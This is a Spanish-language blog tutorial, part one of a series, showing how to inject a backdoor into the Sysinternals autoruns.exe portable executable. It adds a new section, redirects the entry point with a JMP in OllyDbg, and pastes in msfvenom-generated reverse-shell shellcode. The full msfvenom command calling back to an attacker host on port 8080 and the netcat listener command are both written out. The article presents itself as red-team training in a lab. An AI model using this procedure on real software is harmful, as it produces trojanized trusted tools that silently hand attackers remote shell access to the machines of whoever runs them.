Post140 nn

Inyectando código en archivos PE (1)


Gatorison
Cannibal .

Introducción

Hoy en día es muy común como parte de las tareas y ejercicios de seguridad informática "ofensiva-defensiva" donde se requiera evaluar tanto el stack de seguridad de la red corporativa, el nivel de respuesta de los equipos defensivos (Blue team) y hasta la capacidad del usuario final para detectar y evadir ataques de ingeniería social que el analista a cargo de un "PenTesting o Read Team Engagement" se vea en la necesidad de crear su propio archivo malicioso con el fin de habilitar un "Backdoor" o también llamado "puerta trasera" para ser utilizado en cualquier momento durante o post-fase de explotación.

En este artículo voy a demostrar como de manera manual con el conocimiento adecuado se puede inyectar código malicioso en un archivo ejecutable portable como por ejemplo herramientas que son utilizadas habitualmente por administradores de redes como la bien conocida suite de Systernals.

Muchos conceptos teóricos como técnicos se asumirán sabidos como por ejemplo saber trabajar con un debugger, entender que es un PE file (o ejecutable portable) y además de cómo utilizar PowerShell y administrar sistemas Windows como Linux; esto debido a que este no es un tema introductorio. En caso de preguntas, no duden en escribirlas en la sección correspondiente y serán contestadas a la brevedad.

 

Objetivos

  ◇ Inyectar "autoruns.exe" con código que nos permita una conexión remota a través de consola al equipo víctima una vez ejecutado el archivo.
  ◇ En esta fase inicial no es importante si la aplicación sigue funcionando después de obtener una conexión remota reversa.
  ◇ En esta fase inicial, no es importante si el archivo es detectado Como malicioso por algún antivirus.
  ◇ En cada paso del procedimiento donde se realicen modificaciones al código, guardaremos los cambios en un nuevo archivo (autoruns-00, autoruns-01, etc). Esto facilitara volver pasos atrás en caso de ser necesario.

Herramientas

  ◇ Autoruns.exe - Una versión no actual y compilada sin protección puede ser descargada desde el siguiente enlace:: http://web.archive.org/web/20061216123407/http://www.microsoft.com:80/technet/sysinternals/default.mspx  
  ◇ Get-PESecurity.ps1 - PowerShell script para verificar si ejecutables Como librerías DLL fueron compiladas con algún tipo de protección. Esta herramienta se puede descargar desde el siguiente enlace https://github.com/NetSPI/PESecurity
  ◇ OllyDbg o Immunity Debugger
  ◇ msfvenom para generar el código malicioso "Reverse Shell" que será inyectado en el ejecutable.
  ◇ Stud_PE , para editar el ejecutable y agregar una nueva sección (header). Esta herramienta se puede descargar desde el siguiente enlace http://www.cgsoftlabs.ro/dl.html

Escenario

  ◇ Equipo victima en donde se ejecutara el archivo infectado, IP: 192.168.34.229 (Windows 7 SP1 x86)
  ◇ Equipo receptor de conexiones remotas, IP: 192.168.34.194 (Kali Linux Rolling)
  ◇ Solo a modo informativo, la aplicación corriendo en el equipo víctima bajo condiciones normales.

 

 

Procedimiento

  ◇ Paso 1: Verificar si el ejecutable fue compilado con protecciones de seguridad.
  ◇ Paso 2: Crear una nueva sección dentro del ejecutable que contendrá nuestro código malicioso.
  ◇ Paso 3: Remplazar la primera instrucción con un JUMP hacia la dirección donde se encuentra nuestra nueva sección .test
  ◇ Paso 4: Generar código para la conexión remota reversa con msfvenom que introduciremos en el ejecutable.
  ◇ Paso 5: Insertamos las instrucciones iniciales y el Shellcode en la nueva sección.
  ◇ Paso 6: Verificar que la conexión se realiza exitosamente desde el equipo víctima hacia nuestro Kali Linux al ejecutar autoruns-02.exe


Paso 1

Se utilizara el script de PowerShell Get-PESecurity para verificar si el ejecutable fue compilado con protecciones de seguridad. Como se puede observar, todas las opciones se muestran en "false" lo que significa que este ejecutable no fue compilado con protecciones de seguridad.

 


Paso 2

Creamos con la utilidad Stud_PE una sección adicional (dejamos el nombre por defecto .test) con un tamaño de 1000h bytes (h por hexadecimal). RawSize y VirtualSize deben ser del mismo valor, además debemos llenar la nueva sección con "algo”, en este caso NULL bytes (00). Si este paso se obvia, la aplicación no iniciaría y obtendríamos un error por contar con una nueva sección vacía.

 

 

Nos aseguramos también que la nueva sección sea escribible (MEM_WRITE) y ejecutable (MEM_EXECUTE). Opciones que por defecto en una nueva sección aparecen tildadas.

 

 

Este procedimiento cambiara el tamaño del archivo original de ~607KB a ~611KB (esto es esperable)

Nota: Algunos prefieren utilizar LordPE + XVI32, pero con una sola herramienta estoy haciendo el trabajo de dos, es cuestión de preferencias nada más, el resultado es el mismo.


Paso 3

Abrimos el ejecutable con Olly "autoruns-00.exe" y copiamos las primeras 5 instrucciones (esto será importante en futuros pasos) y guardamos a modo de nota en algún archivo de texto.

 

 

 

Una vez completado la copia anterior nos dirigimos a la opción llamada "Memory map" presionando en el botón "M" del menú y tomamos nota de la dirección de la sección .test creada anteriormente. La dirección en este caso es 00498000.

 

 

Al hacer doble click sobre dicha nueva sección, podemos ver cómo fue completada con NULL bytes (00)

 

 

Volvemos al modo CPU presionando en el botón "C" del menú y sobre la primera instrucción hacemos doble click y reemplazamos el texto existente por JMP 00498000 y presionamos en el botón Assemble. El cambio quedara resaltado en color rojo.

 

 

 

Seleccionamos la primera instrucción ahora en rojo y utilizando el menú contextual que se muestra al presionar click derecho vamos hacia la opción Copy to executable → Selection y una nueva ventana se abrirá. En cualquier sector presionar botón secundario nuevamente y seleccionamos la opción Save file y guardamos el archivo con el nombre autoruns-01.exe

Nota: De ahora en más cada vez que se mencione guardar los cambios a un nuevo archivo, este será el procedimiento a seguir.

Para verificar los cambios, abrimos el nuevo archivo y como se puede apreciar nuestro cambio en la primera línea fue exitoso.

 

 

Si presiono F8 tomaremos el JUMP que nos llevara al área donde será alojado nuestro código malicioso.

 

 

Paso 4

En el equipo Kali Linux generamos nuestro código para conexión remota reversa (de ahora en más Reverse shell) y copiamos el código hexadecimal en rojo que se ve en la captura (de ahora en mas Shellcode) y lo mantenemos a mano por ejemplo en un archivo de texto.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.34.194 LPORT=8080 -f hex

 


Paso 5

En la sección donde se alojara nuestro Shellcode debemos ingresar las siguientes instrucciones PUSHAD y luego PUSHFD en las dos primeras líneas (basta con hacer doble click sobre cada línea y escribir la instrucción), inmediatamente debajo de las instrucciones ingresadas antes seleccionar desde la línea tres hasta el final. Luego pegamos nuestro Shellcode generado en el paso anterior utilizando la opción del menú contextual Binary → Binary Paste quedando como resultado lo que se ve en la captura (solo un fragmento es mostrado).

 

 

Con todo este código seleccionado, guardamos en un nuevo archivo que nombraremos autoruns-02.exe y lo abrimos con Olly. Al abrir el nuevo archivo, estaremos posicionados de nuevo al principio de las instrucciones lo que es llamado el ModuleEntryPoint que modificamos con un JUMP.

 

 

Presionamos F8 para dar el salto a nuestra nueva sección y veremos que nuestros cambios fueron efectuados.

 


 

Paso 6

Vamos a verificar que a este punto tenemos un archivo malicioso que al ejecutarlo nos genera un reverse shell estable.

Lo primero es preparar un "Listener" en Kali Linux con el siguiente comando nc -lvp 8080

Luego, ejecutamos la aplicación autoruns-02.exe en el equipo víctima (Windows 7). La aplicación no abrirá y no se verá error alguno, pero la conexión reversa se logra de manera exitosa.

 

 

Esto es todo por ahora en esta primera parte. Hay mucho para explicar y en la segunda parte daré más detalles de porque ciertas instrucciones fueron usadas y configuraciones. Todo tendrá más claridad con la práctica y al finalizar todo el instructivo.

© 2018 by \m/ CannibaL \m/





Artículos que te pueden interesar